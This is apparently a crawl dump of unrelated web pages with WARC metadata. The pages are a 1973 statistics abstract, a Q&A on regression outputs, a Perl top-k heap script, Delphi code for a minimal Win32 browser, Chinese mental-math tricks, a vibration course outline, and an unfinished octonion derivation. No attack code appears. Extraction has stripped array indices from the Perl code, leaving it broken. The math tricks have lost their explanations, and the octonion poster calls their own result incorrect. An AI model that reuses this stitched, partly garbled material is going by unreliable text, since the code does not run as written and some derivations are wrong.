msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5bf819cb-86aa-4918-b533-affb68fb45a3>\",\"WARC-Concurrent-To\":\"<urn:uuid:7005841e-047b-410e-bb82-bf242b80a6ca>\",\"WARC-IP-Address\":\"192.0.78.137\",\"WARC-Target-URI\":\"https://allinonehomeschool.com/math-4/\",\"WARC-Payload-Digest\":\"sha1:3V6T535HINMLXJ7KKLCLX2KNG5ERCSLA\",\"WARC-Block-Digest\":\"sha1:PPOJPABNM3FB47JNZF5AMFBRNADO72IF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104240553.67_warc_CC-MAIN-20220703104037-20220703134037-00167.warc.gz\"}"}
https://projecteuclid.org/journals/annals-of-statistics/volume-1/issue-1/A-Statistical-Theory-of-Calibration/10.1214/aos/1193342379.full	[ "Translator Disclaimer\nJanuary, 1973 A Statistical Theory of Calibration\nHenry Scheffe\nAnn. Statist. 1(1): 1-37 (January, 1973). DOI: 10.1214/aos/1193342379\n\n## Abstract\n\nThe kind of calibration problem considered may be roughly described as follows: There are two related quantities $\\mathscr{U}$ and $\\mathscr{V}$ such that $\\mathscr{U}$ is relatively easy to measure and $\\mathscr{V}$ relatively difficult, requiring more effort or expense; furthermore the error in a measurement of $\\mathscr{V}$ is negligible compared with that for $\\mathscr{U}$. A distinguishing feature of the problem is, that from a single calibration experiment, where measurements are made on a number of pairs $(\\mathscr{U}, \\mathscr{V})$, we wish subsequently to estimate the unknown values of $\\mathscr{V}$ corresponding to a very large number of measurements of $\\mathscr{U}$. The problem is solved by a procedure of interval estimation, whose operating characteristic is expressed in terms of a reformulation of the law of large numbers. Some idea of the contents of the article may be obtained from the table of contents.\n\n## Citation\n\nHenry Scheffe. \"A Statistical Theory of Calibration.\" Ann. Statist. 1 (1) 1 - 37, January, 1973. https://doi.org/10.1214/aos/1193342379\n\n## Information\n\nPublished: January, 1973\nFirst available in Project Euclid: 25 October 2007\n\nzbMATH: 0253.62023\nMathSciNet: MR336920\nDigital Object Identifier: 10.1214/aos/1193342379\n\nRights: Copyright © 1973 Institute of Mathematical Statistics\n\nJOURNAL ARTICLE\n37 PAGES", null, "SHARE\nVol.1 • No. 1 • January, 1973", null, "" ]	[ null, "https://projecteuclid.org/Content/themes/SPIEImages/Share_black_icon.png", null, "https://projecteuclid.org/images/journals/cover_aos.jpg", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9035401,"math_prob":0.95573366,"size":1099,"snap":"2022-40-2023-06","text_gpt3_token_len":257,"char_repetition_ratio":0.14520548,"word_repetition_ratio":0.0,"special_character_ratio":0.24021839,"punctuation_ratio":0.11282051,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9851462,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-07T06:36:41Z\",\"WARC-Record-ID\":\"<urn:uuid:c34ebaf0-41cc-4f91-ae28-8c201f42e5b6>\",\"Content-Length\":\"141397\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0127384f-725e-4459-a444-d670c720d078>\",\"WARC-Concurrent-To\":\"<urn:uuid:6613493d-735f-4059-aeeb-964342f7f3a7>\",\"WARC-IP-Address\":\"45.60.100.145\",\"WARC-Target-URI\":\"https://projecteuclid.org/journals/annals-of-statistics/volume-1/issue-1/A-Statistical-Theory-of-Calibration/10.1214/aos/1193342379.full\",\"WARC-Payload-Digest\":\"sha1:QANKGH4TAWY4M3WZ6UHRP3UPOF7EH44V\",\"WARC-Block-Digest\":\"sha1:57H3MUXO2WHDOZVNX7KZXXLPT2IFE3LG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030337971.74_warc_CC-MAIN-20221007045521-20221007075521-00458.warc.gz\"}"}
https://ai.stackexchange.com/questions/34408/training-a-regression-model-on-a-set-of-values-in-0-1-range-to-give-0-1-continua/34409	[ "# Training a regression model on a set of values in 0-1 range to give 0-1 continual values\n\nI have a textual dataset that has a set of real numbers as labels: L={0.0, 0.33, 0.5, 0.75, 1.0}, and I have a model that takes the text as input and has a Sigmoid output.\n\nIf I train the model on this data, will the model keep generating labels that exactly equal one of the values in L? or it might generate, as an example, 0.4?\n\nIf not, is there a solution for that?\n\n• To clarify: You want the model to be able to generate a 0.4 if that would be the best estimate given the input data? Feb 3 at 19:32\n• yes @NeilSlater Feb 3 at 19:40\n\nAs long as you train the model with a proper loss function for regression the model will learn to output any continuous values, not restricted to and most likely not exactly equal to the labels your providing during training, rather an approximation of them based on the level of generalization the model manage to learn.\n\nThe range of values the model can learn to output will also depend on the final activation function of your model. Using a sigmoid is indeed a good choice if your labels belong in the range 0-1.\n\nIf instead you don't want the model to learn continuous values then you need to frame the task as a classification problem, and convert your set of finite real values labels into a discrete representation, for example using one hot encoding and then train the model with a loss suited for classification.\n\nMany machine learning models used for regression will interpolate their predictions as you seem to want, and can return target values not seen in the training set.\n\nFor example, basic linear regression will do this provided at least one of the input variables is also continuous. Also neural networks.\n\nThere are some cases where it may not happen:\n\n• Decision tree-based algorithms (such as random forests) approximate with combinations of step functions, so most will output a set of discrete values. However, in practice this set will include many values that are not in the training set, and it is usually not a real concern, if your goal is accurate predictions for unseen data.\n\n• If all the input features are discrete, then there will be a discrete set of output values, equal in number to all the possible combinations of input. Again, this may not be a practical concern in your case, and will very likely generate outputs that are not in the training set." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9584953,"math_prob":0.9671012,"size":367,"snap":"2022-40-2023-06","text_gpt3_token_len":108,"char_repetition_ratio":0.121212125,"word_repetition_ratio":0.0,"special_character_ratio":0.29972753,"punctuation_ratio":0.1980198,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9828303,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-07T19:09:26Z\",\"WARC-Record-ID\":\"<urn:uuid:2a943035-6942-4fb6-bb3f-c8bf42c119e6>\",\"Content-Length\":\"137032\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0d7a9b94-531c-4b3b-a798-6de6af66e6ae>\",\"WARC-Concurrent-To\":\"<urn:uuid:80feeb7d-eefc-4004-b0ac-e3e71e5c33c1>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://ai.stackexchange.com/questions/34408/training-a-regression-model-on-a-set-of-values-in-0-1-range-to-give-0-1-continua/34409\",\"WARC-Payload-Digest\":\"sha1:TFOEVJ34WZQRYK5GJ5VVFDMNTMD67FFZ\",\"WARC-Block-Digest\":\"sha1:LONCEIN7NEDPIBIGFLJS4GCWKAJ7LOSB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030338244.64_warc_CC-MAIN-20221007175237-20221007205237-00120.warc.gz\"}"}
https://www.perlmonks.org/?displaytype=xml;node_id=248560	[ "note Abigail-II Yeah, whatever. Here's a modification of the program. Give the number of elements to extract as a command line argument, and the elements to extract from on STDIN. It assumes that there are enough elements on STDIN. <p> <code> #!/usr/bin/perl use strict; use warnings; my @heap; my \\$M = @ARGV ? shift : 10; sub heapify; sub heapify { my \\$idx = shift; my \\$max = \\$idx; for my \\$try (2 * \\$idx + 1, 2 * \\$idx + 2) { \\$max = \\$try if \\$try < @heap && \\$heap [\\$try] > \\$heap [\\$max] } return if \\$max == \\$idx; @heap [\\$idx, \\$max] = @heap [\\$max, \\$idx]; heapify \\$max; } sub extract_max { return unless @heap; my \\$min = \\$heap ; my \\$tmp = pop @heap; if (@heap) { \\$heap = \\$tmp; heapify 0; } return \\$min; } # First load the heap with initial data. for (1 .. \\$M) { push @heap => scalar <>; } chomp @heap; # # Heapify it. # for (my \\$i = int (@heap / 2); \\$i --;) { heapify \\$i; } # # Deal with the rest. # while (<>) { chomp; next if \\$_ >= \\$heap ; # It's too large. \\$heap = \\$_; heapify 0; } my @result; push @result => extract_max while @heap; @result = reverse @result; print \"@result\\n\"; __END__ </code> <p> The running time of this is O (N log k), using O (k) memory. <p> Abigail 248282 248517" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5177472,"math_prob":0.43671644,"size":1200,"snap":"2021-04-2021-17","text_gpt3_token_len":402,"char_repetition_ratio":0.13628763,"word_repetition_ratio":0.0,"special_character_ratio":0.40583333,"punctuation_ratio":0.199187,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9728285,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-21T21:49:54Z\",\"WARC-Record-ID\":\"<urn:uuid:bd09ccd9-e133-4409-9813-0169ce8aebf2>\",\"Content-Length\":\"2068\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:211f4e1b-1be9-4373-9614-ce8f4d206f87>\",\"WARC-Concurrent-To\":\"<urn:uuid:1edb7087-29ed-4554-b109-fe3439622780>\",\"WARC-IP-Address\":\"209.197.123.153\",\"WARC-Target-URI\":\"https://www.perlmonks.org/?displaytype=xml;node_id=248560\",\"WARC-Payload-Digest\":\"sha1:6DKHO55VVH3754AL2GQAGEEHMJPPUJPU\",\"WARC-Block-Digest\":\"sha1:BKGPT3LI2BPTS7A25SFTP4MXWERZTQ3X\",\"WARC-Identified-Payload-Type\":\"application/xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703527850.55_warc_CC-MAIN-20210121194330-20210121224330-00263.warc.gz\"}"}
http://www.xuexidashi.vip/h-nd-483.html	[ "# DelphiXE4开发一个40KB的浏览器", null, "DelphiXE4以后编译出的代码体积越来越大.我一直都是追着最新的Delphi版本,所以不可能退回早期版本.\n\nSystem.Classes 398,080 CODE\nSystem.Rtti 293,860 CODE\nVcl.Themes 243,644 CODE\nVcl.Controls 130,056 CODE\nVcl.Forms 121,104 CODE\n\nIOleInPlaceSite)只要实现这些接口就行了,不知道如何实现的就返回E_NOTIMPL告诉系统:”我没实现”就好了.\n\nMicroWebBrowser 4,696 CODE\nMicroWebBrowser 48 DATA\nMicroWebBrowser 20 ICODE\nMicroWebBrowser 20 BSS\n\n `program` `wb;``uses`` ``Windows,`` ``Messages,`` ``MicroWebBrowser ``in` `'MicroWebBrowser.pas'``;` `const`` ``WBName = ``'Delphi小小浏览器'``;``var`` ``gWb: TMicroWebBrowser;`` ``MainHwnd, hUrlText, hButton: HWND;`` ``txtProc, BtnProc: LONG;` `procedure` `NavigateTxtUrl();``var`` ``tmpStr: ``string``;`` ``l: ``Integer``;`` ``hr : HRESULT;``begin`` ``l := GetWindowTextLength(hUrlText) + ``10``;`` ``SetLength(tmpStr, l);`` ``GetWindowText(hUrlText, ``PChar``(tmpStr), l);`` ``tmpStr := ``PChar``(tmpStr);`` ``gWb``.``Navigate(tmpStr);`` ``hr := gWb``.``WaitComplete(``5000``);`` ``if` `(hr = S_OK)``or` `(hr = ERROR_TIMEOUT) ``then`` ``begin`` ``tmpStr := gWb``.``WebBrowser``.``Get_LocationURL();`` ``SetWindowText(hUrlText, ``PChar``(tmpStr));`` ``tmpStr := WBName +``' - '``+ gWb``.``WebBrowser``.``Get_LocationName;`` ``SetWindowText(MainHwnd, ``PChar``(tmpStr));`` ``end`` ``else`` ``begin`` ``tmpStr := WBName;`` ``SetWindowText(MainHwnd, ``PChar``(tmpStr));`` ``end``;``end``;` `// 窗口过程``function` `WndProc(HWND: THandle; Message: ``Longint``; wParam: wParam;`` ``lParam: lParam): LRESULT; stdcall;``const`` ``BlankUrl = ``'about:blank'``;`` ``UrlTextHeight = ``30``;`` ``ButtonWidth = ``50``;`` ``procedure` `ReLayout(``const` `Width, Height: ``WORD``);`` ``begin`` ``SetWindowPos(hUrlText, HWND_TOP, ``0``, ``0``, Width - ButtonWidth,`` ``UrlTextHeight, ``0``);`` ``SetWindowPos(hButton, HWND_TOP, Width - ButtonWidth, ``0``, ButtonWidth,`` ``UrlTextHeight, ``0``);`` ``gWb``.``SetBounds(``0``, UrlTextHeight, Width, Height - UrlTextHeight);`` ``end``;` `var`` ``rMain: TRect;``begin` ` ``if` `HWND = hButton ``then`` ``begin`` ``Case` `Message ``of`` ``WM_LBUTTONUP:`` ``begin`` ``NavigateTxtUrl();`` ``end``;`` ``end``;`` ``result := CallWindowProc(``Pointer``(BtnProc), HWND, Message, wParam, lParam);`` ``end`` ``else` `if` `HWND = hUrlText ``then`` ``begin`` ``Case` `Message ``of`` ``WM_KEYDOWN:`` ``begin`` ``if` `wParam = VK_RETURN ``then`` ``NavigateTxtUrl();`` ``end``;`` ``end``;`` ``result := CallWindowProc(``Pointer``(txtProc), HWND, Message, wParam, lParam);`` ``end`` ``else`` ``begin`` ``Case` `Message ``of`` ``WM_CREATE:`` ``begin`` ``GetClientRect(HWND, rMain);`` ``hUrlText := CreateWindowEx(``0``, ``'EDIT'``, BlankUrl,`` ``WS_CHILD ``or` `WS_VISIBLE ``or` `WS_BORDER, ``0``, ``0``, ``0``, ``0``, HWND, ``0``,`` ``hInstance, ``nil``);`` ``txtProc := SetWindowLong(hUrlText, GWL_WNDPROC, LONG(@WndProc));`` ``hButton := CreateWindowEx(``0``, ``'BUTTON'``, ``'访问'``, WS_CHILD ``or` `WS_VISIBLE ``or`` ``WS_BORDER, ``0``, ``0``, ``0``, ``0``, HWND, ``0``, hInstance, ``nil``);`` ``BtnProc := SetWindowLong(hButton, GWL_WNDPROC, LONG(@WndProc));`` ``gWb := TMicroWebBrowser``.``Create(HWND, rMain``.``Left,`` ``rMain``.``Top + UrlTextHeight, rMain``.``Right - rMain``.``Left,`` ``rMain``.``Height - (rMain``.``Top + UrlTextHeight));`` ``ReLayout(rMain``.``Right - rMain``.``Left, rMain``.``Bottom - rMain``.``Top);`` ``gWb``.``Navigate(BlankUrl);`` ``// gWb.Navigate('http://www.baidu.com');`` ``end``;`` ``WM_SIZE:`` ``begin`` ``if` `(gWb <> ``nil``) ``and` `(gWb``.``WebBrowser <> ``nil``) ``then`` ``begin`` ``ReLayout(``WORD``(lParam), HiWord(lParam));`` ``end``;`` ``end``;`` ``WM_DESTROY:`` ``begin`` ``gWb``.``Free;`` ``PostQuitMessage(``0``);`` ``result := ``1``;`` ``exit;`` ``end``;`` ``end``;`` ``result := DefWindowProc(HWND, Message, wParam, lParam);`` ``end``;``end``;` `var`` ``WndClass: TWndClass = (style: ``0``; lpfnWndProc: @WndProc; cbClsExtra: ``0``;`` ``cbWndExtra: ``0``; hInstance: ``0``; hIcon: ``0``; hCursor: ``0``; hbrBackground: ``0``;`` ``lpszMenuName: ``nil``; lpszClassName: ``'TWebBrowser'``);` `var`` ``msg: Tmsg;` `begin`` ``if` `RegisterClass(WndClass) <> ``0` `then`` ``begin`` ``MainHwnd := CreateWindowEx(``0``, WndClass``.``lpszClassName, WbName,`` ``ws_OverlappedWindow, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,`` ``CW_USEDEFAULT, ``0``, ``0``, hInstance, ``nil``);`` ``if` `MainHwnd <> ``0` `then`` ``begin`` ``ShowWindow(MainHwnd, sw_ShowNormal);`` ``UpdateWindow(MainHwnd);`` ``while` `GetMessage(msg, ``0``, ``0``, ``0``) ``do`` ``begin`` ``TranslateMessage(msg);`` ``DIspatchMessage(msg);`` ``end``;`` ``ExitCOde := msg``.``wParam;`` ``end``;`` ``end``;` `end``.`\n\n{\\$RTTI EXPLICIT METHODS([]) PROPERTIES([]) FIELDS([])}", null, "" ]	[ null, "http://www.xuexidashi.vip/UpFile/201311/20131120202249783.jpg", null, "http://www.xuexidashi.vip/UpFile/201311/20131120202250938.jpg", null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.7784621,"math_prob":0.80373996,"size":2042,"snap":"2021-43-2021-49","text_gpt3_token_len":1271,"char_repetition_ratio":0.12414131,"word_repetition_ratio":0.0,"special_character_ratio":0.16209598,"punctuation_ratio":0.4013841,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97839403,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-27T09:13:41Z\",\"WARC-Record-ID\":\"<urn:uuid:4ec5d7ca-200a-4792-b934-b24d65690858>\",\"Content-Length\":\"587355\",\"Content-Type\":\"application/http; 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http://www.teachblog.net/ljxian/archive/2009/07/02/10570.html	[ "Ａ、乘法速算\n\n15 + 7 = 22\n5 × 7 = 35\n---------------\n255\n\n15×17\n=15 ×（10 + 7）\n=15 × 10 + 15 × 7\n=150 + （10 + 5）× 7\n=150 + 70 + 5 × 7\n=（150 + 70）+（5 × 7）\n\n17 + 9 = 26\n7 × 9 = 63\n\n50 × 30 = 1500\n50 + 30 = 80\n------------------\n1580\n\n80 × 90 = 7200\n80 + 90 = 170\n------------------\n7370\n------------------\n7371\n\n（43 + 6）× 40 = 1960\n3 × 6 = 18\n----------------------\n1978\n\n（89 + 7）× 80 = 7680\n9 × 7 = 63\n----------------------\n7743\n\n(5 + 1) × 5 = 30--\n6 × 4 = 24\n----------------------\n3024\n\n(7 + 1) × 7 = 56--\n3 × 7 = 21\n----------------------\n5621\n\n(2 + 1) × 2 = 6--\n1 × 9 = 9\n----------------------\n609\n“--”代表十位和个位，因为两位数的首位相乘得数的后面是两个零，请大家明白，不要忘了，这点是很容易被忽略的。\n\n5 × 5 = 25--\n（6 + 8 ）× 5 = 7--\n6 × 8 = 48\n----------------------\n3248\n\n（3 + 1）× 6 = 24--\n6 × 7 = 42\n----------------------\n2442\n\n（1 + 1）× 9 = 18--\n9 × 9 = 81\n----------------------\n1881\n\n4 × 9 + 9 = 45--\n6 × 9 = 54\n-------------------\n4554\n\n8 × 3 + 3 = 27--\n2 × 3 = 6\n-------------------\n2706\n\n7 × 3 + 8 = 29--\n8 × 8 = 64\n-------------------\n2964\n\n2 × 8 + 3 = 19--\n3 × 3 = 9\n--------------------\n1909\nＢ、平方速算\n\n17 ＋ 7 = 24-\n7 × 7 = 49\n---------------\n289\n\n7 × 7 = 49--\n7 × 2 = 14-\n-----------------\n5041\n\n（3 + 1）× 3 = 12--\n25\n----------------------\n1225\n\n21 × 21 = 441\n22 × 22 = 484\n23 × 23 = 529\n24 × 24 = 576\n\n37 - 25 = 12--\n（50 - 37）^2 = 169\n----------------------\n1369\n\n26 - 25 = 1--\n（50-26）^2 = 576\n-------------------\n676\nＣ、加减法\n\nＤ、除法速算\n\n1、被除数 ÷ 5\n= 被除数 ÷ (10 ÷ 2)\n= 被除数 ÷ 10 × 2\n= 被除数 × 2 ÷ 10\n2、被除数 ÷ 25\n= 被除数 × 4 ÷100\n= 被除数 × 2 × 2 ÷100\n3、被除数 ÷ 125\n= 被除数 × 8 ÷100\n= 被除数 × 2 × 2 × 2 ÷100" ]	[ null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.7834713,"math_prob":0.99998987,"size":3000,"snap":"2020-34-2020-40","text_gpt3_token_len":2305,"char_repetition_ratio":0.20761015,"word_repetition_ratio":0.015810277,"special_character_ratio":0.6566667,"punctuation_ratio":0.006289308,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99995255,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-05T13:00:16Z\",\"WARC-Record-ID\":\"<urn:uuid:178d2431-35d0-4965-b255-5fb078f29263>\",\"Content-Length\":\"60131\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:81ff539e-4284-4aa6-af16-c8003fe9f561>\",\"WARC-Concurrent-To\":\"<urn:uuid:396f7cde-b9cf-4509-8b52-e07ad9c16a45>\",\"WARC-IP-Address\":\"47.97.166.246\",\"WARC-Target-URI\":\"http://www.teachblog.net/ljxian/archive/2009/07/02/10570.html\",\"WARC-Payload-Digest\":\"sha1:LEDBQLMGJJ2XE4DAG4ZCPMMF23WZY7XR\",\"WARC-Block-Digest\":\"sha1:TAJWKGOVNLG7EEUYX7L4QTCUGQUMX3G7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439735958.84_warc_CC-MAIN-20200805124104-20200805154104-00088.warc.gz\"}"}
https://pubs2.ttiedu.com/lm_outline?lmid=6950	[ "# Dynamic Force and Motion (117)\n\n Purchase Options OnDemand Short Topics \\$250.00\n\n## Chapter Outline\n\n### Chapter 3 - Dynamic Force and Motion (Fundamentals of Vibration for Design Applications)\n\n• Laws of Motion\n• Weight vs. Mass\n• System of Units\n• Units of Force and Mass; Example\n• Mass, Weight, Common Units of Mass\n• Gravity\n• Weight, Specific Weight and Density\n• Relative Density or Specific Gravity\n• Work, Power, Energy\n• Some Fundamentals of Dynamics\n• A Simple Dynamic System\n• Degrees of Freedom\n• Examples of Various Degrees of Freedom\n• Single-Degree-of-Freedom (SDoF)\n• Undamped Vibrations\n• Sinusoidal Waveform\n• SDoF — Sinusoidal Relationships\n• Relationships Between Displacement, Velocity, and Acceleration\n• Effect of Frequency on Displacement, Velocity, and Acceleration\n• Natural Frequency\n• Decaying Sinusoidal Vibration\n• Forced Vibration for SDoF System\n• Transmissibility\n• Plotting Transmissibility vs. Frequency Ratio\n• Isolation and Damping\n• Determining Damping Ratio Experimentally\n• Effect of Damping\n• Vibration Isolators\n• Continuous Systems\n• Viscoelastic Damping on Laminated Beam\n• Damped vs Undamped Response\n• Modal Testing & Analysis\n• Vibration Considerations for Design Engineers" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.7415991,"math_prob":0.50626284,"size":1327,"snap":"2022-27-2022-33","text_gpt3_token_len":332,"char_repetition_ratio":0.13983372,"word_repetition_ratio":0.03517588,"special_character_ratio":0.22305954,"punctuation_ratio":0.07978723,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9826422,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-06-27T12:19:42Z\",\"WARC-Record-ID\":\"<urn:uuid:72a888b3-5c19-4927-895a-a3e297257223>\",\"Content-Length\":\"12349\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4cde6b4a-32b1-40fe-a04f-23e5a7ef6d73>\",\"WARC-Concurrent-To\":\"<urn:uuid:2c090ec6-9300-43b4-b766-6e25413e15cf>\",\"WARC-IP-Address\":\"144.217.12.20\",\"WARC-Target-URI\":\"https://pubs2.ttiedu.com/lm_outline?lmid=6950\",\"WARC-Payload-Digest\":\"sha1:S2VNHKPWLCKHSHTXWAZKLHBE4SSM3MNQ\",\"WARC-Block-Digest\":\"sha1:AJKEOSBQGDSGQRY6ECS42SSVQNAN46JR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656103331729.20_warc_CC-MAIN-20220627103810-20220627133810-00497.warc.gz\"}"}
https://math.stackexchange.com/questions/3394507/a-real-example-of-an-octonion-product/3422682	[ "# A real example of an Octonion product\n\nGoal: find the general Octonion multiplication product like the Quaternion formula given here:\n\nhttps://en.wikipedia.org/wiki/Quaternion#Multiplication_of_basis_elements\n\n* question modified for clarity\n\nI am having trouble with Octonion multiplications. Can you help?\n\nThe equations needed to achieve your goal are provided below. As well as the steps I took for my attempt. BUT my solution does not match secondary online sources.\n\nmy solution is incorrect\n\nLet me know if you see the mistake or have a better solution.\n\nI expect the solution to be a set of 8 sums and differences of pairs of products of different combinations of 8 input variables. ie: your solution will look similar to this attempt.\n\n# Define:\n\nDoubling Product (Pt3): $$(A,B)×(C,D) = (AC − D^\\star B, DA + BC^\\star)$$\n\nConjugate: $$(A,B)^\\star = (A^\\star,-B)$$\n\nOctonion notation: $$(A,B,C,D,E,F,G,H)$$ $$= A·e0 + B·e1 + C·e2 + D·e3 + E·e4 + F·e5 + G·e6 + H·e7$$\n\nwhere :\n\n$$e0 = 1$$\n\n$$e1,e2,e3,e4,e5,e6,e7 ∈ Imaginary Units$$\n\n* imaginary values are implied based on their order within the set and will not be displayed further.\n\nPaired variables are products: $$ab = a×b$$\n\nVariables are Real numbers: a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p ∈ ℝ\n\nTo be clear... all variables used (a to p) represent Real number and no imaginary units are shown. The coefficient of imaginary numbers are not shown, because the ordering of the variables in the bracket notation matches the ordering of our imaginary numbers. ex: (1,2) = 1+2e1, (0,5,6,1,0,0,3,0) = 5e1 + 6e2 + 1e3 + 3e6\n\n# Known Quaternion Multiplication\n\nFollowing the Quaterion equation given here:\n\nhttps://en.wikipedia.org/wiki/Quaternion#Multiplication_of_basis_elements\n\n...substitute variable names like this:\n\na1 = A, b1 = B, c1 = C, d1 = D\na2 = E, b2 = F, c2 = G, d2 = H\n\n\nTo obtain {equation 1} as:\n\n(A,B,C,D)×(E,F,G,H) = (\nAE - BF - CG - DH,\nAF + BE + CH - DG,\nAG - BH + CE + DF,\nAH + BG - CF + DE,\n)\n\n\n# Octonion Multiplication:\n\n$$(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p)$$\n\n$$= ((a,b,c,d),(e,f,g,h)) × ((i,j,k,l),(m,n,o,p))$$\n\nusing: $$(A,B)×(C,D) = (AC − D^\\star B, DA + BC^\\star)$$\n\nwith: $$A = (a,b,c,d), B = (e,f,g,h), C = (i,j,k,l), D = (m,n,o,p)$$\n\nthen:\n\n$$((a,b,c,d),(e,f,g,h)) × ((i,j,k,l),(m,n,o,p))$$\n\n$$=( (a,b,c,d) × (i,j,k,l) - (m, n, o, p) ^\\star × (e,f,g,h),$$ $$(m,n,o,p) × (a,b,c,d) + (e,f,g,h) × (i, j, k, l) ^\\star )$$\n\n$$= ( (a,b,c,d) × (i,j,k,l) - (m,-n,-o,-p) × (e,f,g,h),$$ $$(m,n,o,p) × (a,b,c,d) + (e,f,g,h) × (i,-j,-k,-l) )$$\n\nAbove equation is composed of 4 quaternion products:\n\n Q1 = ( a, b, c, d) × ( i, j, k, l)\n\nQ2 = ( m,-n,-o,-p) × ( e, f, g, h)\n\nQ3 = ( m, n, o, p) × ( a, b, c, d)\n\nQ4 = ( e, f, g, h) × ( i,-j,-k,-l)\n\n\n... and our solution will be the ordered set of their difference and sum:\n\n$$(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p) = ( Q1-Q2, Q3+Q4 )$$\n\nIn words the equation says:\n\n\"Our solution is the difference and sum of quaternion product pairs which in order produce our Octonion solution.\"\n\n# Calculate a general Octonion Multiplication equation:\n\nFirst, calculate the 4 quaternion products...\n\n$$Q1 = ( a, b, c, d) × ( i, j, k, l)$$\n\nrecall {equation 1} is:\n\n(A,B,C,D)×(E,F,G,H) = (\nAE - BF - CG - DH,\nAF + BE + CH - DG,\nAG - BH + CE + DF,\nAH + BG - CF + DE,\n)\n\n\nusing: {equation 1}\n\nlet: A=a, B=b, C=c, D=d, E=i, F=j, G=k, H=l\n\nthen:\n\n(a,b,c,d)×(i,j,k,l) = (\n\nai-bj-ck-dl,\n\naj+bi+cl-dk,\n\nak-bl+ci+dj,\n\nal+bk-cj+di,\n\n)\n\n\n$$Q2 = ( m,-n,-o,-p) × ( e, f, g, h)$$\n\nusing: {equation 1}\n\nlet: A=m, B=-n, C=-o, D=-p, E=e, F=f, G=g, H=h\n\nthen:\n\n(m,-n,-o,-p)×(e,f,g,h) = (\n\nme+nf+og+ph,\n\nmf-ne-oh+pg,\n\nmg+nh-oe-pf,\n\nmh-ng+of-pe,\n\n)\n\n\n$$Q3 = ( m, n, o, p) × ( a, b, c, d)$$\n\nusing: {equation 1}\n\nlet: A=m, B=n, C=o, D=p, E=a, F=b, G=c, H=d\n\nthen:\n\n( m,n,o,p) × (a,b,c,d) = (\n\nma-nb-oc-pd,\n\nmb+na+od-pc,\n\nmc-nd+oa+pb,\n\nmd+nc-ob+pa,\n\n)\n\n\n$$Q4 = ( e, f, g, h) × ( i,-j,-k,-l)$$\n\nusing: {equation 1}\n\nlet: A=e, B=f, C=g, D=h, E=i, F=-j, G=-k, H=-l\n\nthen:\n\n(e,f,g,h) × (i,-j,-k,-l) = (\n\nei+fj+gk+hl,\n\n-ej+fi-gl+hk,\n\n-ek+fl+gi-hj,\n\n-el-fk+gj+hi,\n\n)\n\n\n$$( Q1-Q2, Q3+Q4 )$$\n\n( Q1-Q2, Q3+Q4 )\n\n= (\n( ai-bj-ck-dl, aj+bi+cl-dk, ak-bl+ci+dj, al+bk-cj+di )\n- ( me+nf+og+ph, mf-ne-oh+pg, mg+nh-oe-pf, mh-ng+of-pe )\n,\n( ma-nb-oc-pd, mb+na+od-pc, mc-nd+oa+pb, md+nc-ob+pa )\n+ ( ei+fj+gk+hl,-ej+fi-gl+hk,-ek+fl+gi-hj,-el-fk+gj+hi )\n)\n\n\nand recall:\n\n(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p) = ( Q1-Q2, Q3+Q4 )\n\n# Octonion solution is calculated\n\n$$(a,b,c,d,e,f,g,h) × 